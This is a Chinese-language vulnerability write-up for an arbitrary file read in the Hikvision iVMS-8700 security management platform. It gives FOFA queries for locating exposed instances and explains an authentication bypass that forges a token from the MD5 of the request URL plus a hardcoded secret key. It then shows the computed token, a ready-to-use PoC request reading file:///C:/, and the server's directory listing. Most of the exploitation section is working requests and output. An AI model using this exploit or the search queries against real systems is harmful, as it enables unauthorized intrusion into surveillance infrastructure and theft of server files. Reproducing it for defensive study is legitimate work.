

# H13-2海康威视-iVMS-8700综合安防管理平台-任意文件读取

## 漏洞描述：

HIKVISION iVMS 综合安防管理平台download接口处存在任意文件读取漏洞，攻击者通过构造token绕过身份认证，读取服务器中的目录信息与敏感文件。使系统处于极不安全的状态。

## 网站图片：



## 网络测绘：

### fofa语法：

```
cert="o=Hikvision, ou=louyu, cn=ivms8700" | (((body="g_szCacheTime" && body="iVMS") || title="iVMS-" || body="tab-border code=ivms">" || body=" window.document.location =  
'/license!getExpireDateOfDays.action!;' || body="var uuid = \"2b73083e-9b29-4005-a123-1d4ec47a36d5\"; // 用于检测VMS是否超时, chenliangyi" || (body="class=\"enname\">iVMS-4200\" &&  
body="laRemPassword") || (body="/caoshiyan modify 2015-06-30 中转页面" && body="/home/locationIndex.action?time=") || body="
```

```
iVMS-4200" || header="Server: If you want know, you can ask me" || body="if(refreshurl == null || refreshurl == ") { window.location.reload();}" || body="class=\"out\">
```

## 漏洞复现：

[漏洞url:/eps/api/triggerSnapshot/download](#)

[直接访问发现token需要鉴权（这时候想起之前复现海康的文件上传了）](#)

Request

```
1 GET /eps/api/triggerSnapshot/download HTTP/1.1
2 Host : : : 9000
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
  Gecko) Version/12.0.3 Safari/605.1.15
4 Accept-Encoding: gzip
```

Responses 76bytes / 35ms

```
1 HTTP/1.1 200 OK
2 Date: Wed, 13 Dec 2023 15:25:48 GMT
3 Server:
4 Content-Length: 76
5
6 {"result":false,"errorCode":-2502,"errorM
```

[构造token绕过认证（内部机制：如果token值与请求url+secretkey的md5值相同就可以绕过认证）](#)

[secretkey是代码里写死的（默认值：secretKeyylbuilding）](#)

[token值需要进行MD5加密（32位大写）](#)

[组合：token=MD5\(url+secretKeyylbuilding\)](#)

首页 / 加密 & 解密 / MD5加密 & MD5解密

加密/解密 AES加密/解密 DES加密/解密 RC4加密/解密 Rabbit加密/解密 TripleDes加密/解密 MD5加/解密 Base64加/解密 Hash加/解密

http://1 :3:9000/eps/api/triggerSnapshot/downloadsecretKeyylbuilding

32位大写

8A7BD90D8A55C799297420FF97ACB5AA

32位小写

8a7bd90d8a55c799297420ff97acb5aa

16位大写

8A55C799297420FF

[携带token进行文件读取](#)

[PoC](#)

[GET /eps/api/triggerSnapshot/download?token=构造的token&fileUrl=file:///C:/&fileName=1 HTTP/1.1](#)

[Host: your-ip](#)

[User-Agent: Mozilla/5.0 \(Macintosh; Intel Mac OS X 10\\_14\\_3\) AppleWebKit/605.1.15 \(KHTML, like Gecko\) Version/12.0.3 Safari/605.1.15](#)

[Accept-Encoding: gzip](#)

[读取C盘根目录文件](#)

Request

```
1 GET /eps/api/triggerSnapshot/download?token=8A7BD90D8A55C799297420FF97ACB5AA&fileUrl=file:///C:/&
  fileName=1 HTTP/1.1
2 Host : : : 9000
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
  Gecko) Version/12.0.3 Safari/605.1.15
4 Accept-Encoding: gzip
5
6
```

Responses 281bytes / 38ms

```
1 HTTP/1.1 200 OK
2 Set-Cookie: JSESSIONID=23F04ADEAE3A72E5A4E
3 Content-Disposition: attachment;fileName=1
4 Content-Type: image/jpeg; charset=utf-8
5 Date: Wed, 13 Dec 2023 15:32:17 GMT
6 Server:
7 Content-Length: 281
8
9 .FineReport71
10 $Recycle.Bin
11 DAGLog
12 Documents and Settings
13 ehcache
14 EHomeSdkLog
15 GIS
16 gp.txt
17 Hikvision
18 inetpub
19 Intel
20 pagefile.sys
21 PerfLogs
22 ProgramData
23 Program Files
24 Program Files (x86)
25 Recovery
26 sdklog
27 System Volume Information
```